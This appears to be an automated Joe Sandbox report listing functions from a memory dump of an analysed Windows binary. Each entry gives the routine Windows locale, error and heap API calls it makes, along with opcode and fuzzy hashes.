Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d2573ae1f46e58b50f38a246feef0cb8ae4f0475f772d7d15099bdfa24c322c1
Instruction ID: 8467659cf78605b0777f85748269acd166f7060d474cd1264477a74e0c9ec5db
Opcode Fuzzy Hash: d2573ae1f46e58b50f38a246feef0cb8ae4f0475f772d7d15099bdfa24c322c1
Instruction Fuzzy Hash: 85B19070904B0B8BCB388F688599FBEB7F5EB05300F1446ADE493A7691D671BAC1CB51

Function 00BD4B77 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

EnumSystemLocalesW.KERNEL32(00BD4C12,00000001,00000000,?,-00000050,?,00BD4A02,00000000,-00000002,00000000,?,00000055,?), ref: 00BD4BE9

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 693d3d00f760b8315deeeaa631cf36b03c2b6f9c43a01a4fe7ca9992d5e580b7
Instruction ID: 8578fcee331c36ca8a5be3c394ce4546f43252abdc3999e9c205aeea7dd2e102
Opcode Fuzzy Hash: 693d3d00f760b8315deeeaa631cf36b03c2b6f9c43a01a4fe7ca9992d5e580b7
Instruction Fuzzy Hash: EB11C6372007019FDB189F39889167ABBD1FF84369B18456EE98647B40E771B942CB40

Function 00BD4FE4 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BD5038

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 49111a8e8b4e5fea646b6f7ab58d6519a3b3473daeffa6c0cce608e3a1a441bf
Instruction ID: 496f9164d9db9769b3c92c1d40843bc12c05dee225fd00078b7fc6b0a05ff5e6
Opcode Fuzzy Hash: 49111a8e8b4e5fea646b6f7ab58d6519a3b3473daeffa6c0cce608e3a1a441bf
Instruction Fuzzy Hash: 9811A332611506ABDB24AF28DD42BBAB7ECDF05310B1041BBE501D7241EB74ED458B90

Function 00BD5191 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00BD4E2E,00000000,00000000,?), ref: 00BD51BD

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 79542d69c778c64944e6603c84d3c80b5a6704559c6d20ca0b95cc8bb6006a93
Instruction ID: 5495309d57bb1346639035206be6772ed1971cfb73faa01b15361332875d604f
Opcode Fuzzy Hash: 79542d69c778c64944e6603c84d3c80b5a6704559c6d20ca0b95cc8bb6006a93
Instruction Fuzzy Hash: 0101DB32600512BBDB385A24CC46BBAB7E4EB40355F1544BAED56A3280FA70FD41C690

Function 00BD4E65 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

EnumSystemLocalesW.KERNEL32(00BD4EC4,00000001,?,?,-00000050,?,00BD49CA,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00BD4EAF

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8fbe35998f4038c2e88274503572da14dac451ba48025407efbdb7e34103327b
Instruction ID: 6ffd42f32e4b928a029a2066008f829bdd3dcba9503a2bad2c6d8e4c81d8612e
Opcode Fuzzy Hash: 8fbe35998f4038c2e88274503572da14dac451ba48025407efbdb7e34103327b
Instruction Fuzzy Hash: 62F0C2363003046FDB289F359882A7AFBD1FF81368B1545AEF9458B790E7B1AC42CA50

Function 00BD095F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCA611: EnterCriticalSection.KERNEL32(-00BF0B70,?,00BC9B58,00BABEE0,00BED238,0000000C,00BC990C,C0C2D04E), ref: 00BCA620

EnumSystemLocalesW.KERNEL32(00BD0952,00000001,00BED668,0000000C,00BD0360,-00000050), ref: 00BD0997

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 0a6c100badd36a747b7bbf5954936568c17159bd82e7bca708ed4af4a2e7f00b
Instruction ID: 993308ae13eda9c513f95783082d46b236a367f8f9b7353039d6a4e09ce610b4
Opcode Fuzzy Hash: 0a6c100badd36a747b7bbf5954936568c17159bd82e7bca708ed4af4a2e7f00b
Instruction Fuzzy Hash: A1F04F36A50204DFD700EF69D852B5C7BF0EB45721F10456AF414DB2A1DBB59900CF41

Function 00BD4F99 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

EnumSystemLocalesW.KERNEL32(00BD4FE4,00000001,?,?,?,00BD4A24,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00BD4FD0

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 52d1c9a6826c75d0ac3c520114412f4a78a8ebb4b787dda2334eebf6fd62a725
Instruction ID: 6664a732a4a2bd57591bd65930b9912caacc539eced4108c0efcc78e0c31b820
Opcode Fuzzy Hash: 52d1c9a6826c75d0ac3c520114412f4a78a8ebb4b787dda2334eebf6fd62a725
Instruction Fuzzy Hash: 22F0E53A30024557CB049F35D846B6ABFD4EFC2755B0640AEFA098B260D771A843CB90

Function 00BD0464 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00BC9343,?,20001004,00000000,00000002,?,?,00BC8255), ref: 00BD0498

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2206f5f6eb5df714c33fab10eb6d82899765715d9e290c97d13bc1753cb1e259
Instruction ID: 8af7e57a6abe53100e9e5c11e3cc12deca48211bd28b579ad0f9f74a02bb1a87
Opcode Fuzzy Hash: 2206f5f6eb5df714c33fab10eb6d82899765715d9e290c97d13bc1753cb1e259
Instruction Fuzzy Hash: 72E01A32551218BBCB123F61EC05FAEBEAAEB44750F004062FD0566360DF728921AAD5

Function 00BC0D32 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020E59), ref: 00BC0D37

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f60c3a2ccbee6c3a389d50e1228f380b5f87792fa968088fae546433de64753f
Instruction ID: 4cafebadd57f9474f942d0683b1a313bf708e5509aff24ca68d87669a77fe1cd
Opcode Fuzzy Hash: f60c3a2ccbee6c3a389d50e1228f380b5f87792fa968088fae546433de64753f
Instruction Fuzzy Hash:

Function 00BB73E0 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

invalid string position, xrefs: 00BB75E0

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: invalid string position
API String ID: 0-1799206989
Opcode ID: 921470259ae8fa12115986be5bb7d73af320d56de9143480dfd6705a086d20e1
Instruction ID: 2dc28afdcf246e014314338bb62e06528819eb30cd2000869a6d3791752c7384
Opcode Fuzzy Hash: 921470259ae8fa12115986be5bb7d73af320d56de9143480dfd6705a086d20e1
Instruction Fuzzy Hash: A841667BF555101FEB08843588BA7FB1BC787F2354F1EA46F484A87262CCAB480F1A90

Function 00BD1074 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BD1074

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 57d094fa3121fdaf11e95a6f94ff27b8415f7fce935e8299c318a35d5dd89fec
Instruction ID: 7fcc5e497c531436875e0bdf4aadf954e718570da8da506948a2ca8103062d3c
Opcode Fuzzy Hash: 57d094fa3121fdaf11e95a6f94ff27b8415f7fce935e8299c318a35d5dd89fec
Instruction Fuzzy Hash: C8A011302002008F83008F32AA0A2083AE8BA002803008028A000CB230EF20E2028F80

Function 00BAACB0 Relevance: 1.0, Instructions: 984COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e35b181bdf6232fbcda1b298db775060e6f4c126ddf667051e745c61f2529c3
Instruction ID: 98632182f95b2c08b874a2df348c69fa74277da0abf197d66e8ddb1e87955fd6
Opcode Fuzzy Hash: 3e35b181bdf6232fbcda1b298db775060e6f4c126ddf667051e745c61f2529c3
Instruction Fuzzy Hash: 2352797BF69A100BA70CC97A9C923EBA6C397C8315F1ED43E985AD3245EDBCCC064244

Function 00BCE449 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5685d08649ea137842273a06d08b908df35954e99729d6404ca99fc826444739
Instruction ID: 4175706da52cd886d0c954f0c442f642488a58c4abc4ff16bb310911d3f515b1
Opcode Fuzzy Hash: 5685d08649ea137842273a06d08b908df35954e99729d6404ca99fc826444739
Instruction Fuzzy Hash: C232F621D25F418DD7235634C8A2336A78DAFB73C5F15D72BF82ABA9A5EF29C4834100

Function 00BBD2E0 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c3373d3d63aafeed9efae2f92305ea8d98987a4e32e46f807e1b04da27e68c5
Instruction ID: 4659dab65106af31ab8918391107a2d980a9470b0a7e3a1cc4c4f5f224e7604d
Opcode Fuzzy Hash: 2c3373d3d63aafeed9efae2f92305ea8d98987a4e32e46f807e1b04da27e68c5
Instruction Fuzzy Hash: DA027B3BA546004FDB08C939C4D53FB7BD3DBD5314F19A46E998987361E9BB8C098B41

Function 00BAE640 Relevance: .6, Instructions: 559COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c09c0ec06b3f9d8869bb114437d2dc3033326d6f360c37f9b1d979308c42411
Instruction ID: e461777f4f1eab23563006eefa3c9869d27487e95af9ed39359c1bb07c82b419
Opcode Fuzzy Hash: 6c09c0ec06b3f9d8869bb114437d2dc3033326d6f360c37f9b1d979308c42411
Instruction Fuzzy Hash: F902567BB64A100BE708C929C8E23FB76C39BD5314F1ED8799859C7295ED7ECC094680

Function 00BBE020 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e87395f239bc1c3ec62e6324478c5a8273a04f7963ab837c80d666cca6b598
Instruction ID: a8e554972fa35e41a6e8bbaaebc9d86980b9894f298e88ccc3bf40067179709d
Opcode Fuzzy Hash: 19e87395f239bc1c3ec62e6324478c5a8273a04f7963ab837c80d666cca6b598
Instruction Fuzzy Hash: A9E14C3A7502105FEF044539C0F93EB2BC647E2354F1AE87A98D9C73A2D86B844E9F51

Function 00BAA220 Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a98a54fa4954631f3fb6b3743a75a3e0176c9fb87243fc0313cefb139676b99
Instruction ID: b7e7ebf388b163cff5dfd0e9a30ea8ac989431302c9631cf9d7cd990fd198773
Opcode Fuzzy Hash: 9a98a54fa4954631f3fb6b3743a75a3e0176c9fb87243fc0313cefb139676b99
Instruction Fuzzy Hash: 3DF15A367592014FDB44C938C4D93EB77D29B9B304F19986AD849CB352DA2BC84EDF22

Function 00BADB80 Relevance: .5, Instructions: 457COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdedb2ba3e196d8df56ec011cd9c017757d2474eeab606d1672e2f6a7145cf7
Instruction ID: d5255b68f881bd887c20cd2cf29c71ac6b9eb8ee36a5b52f94212d7e9726ee24
Opcode Fuzzy Hash: 6bdedb2ba3e196d8df56ec011cd9c017757d2474eeab606d1672e2f6a7145cf7
Instruction Fuzzy Hash: E3E16C77A1C3108FC714CE29C8D52AFB7E2ABD9310F5A486DE89AD7311DA75DC048B92

Function 00BBAF10 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41aa7e09c1ea49c0902b61535e3d5a4a47d2b090cd3eb169f9235c2670e27eed
Instruction ID: 2bc762db0d2be13ea25fa9b79069769bbf8c2d6aeeb6d4f50d359bfc67ac3e64
Opcode Fuzzy Hash: 41aa7e09c1ea49c0902b61535e3d5a4a47d2b090cd3eb169f9235c2670e27eed
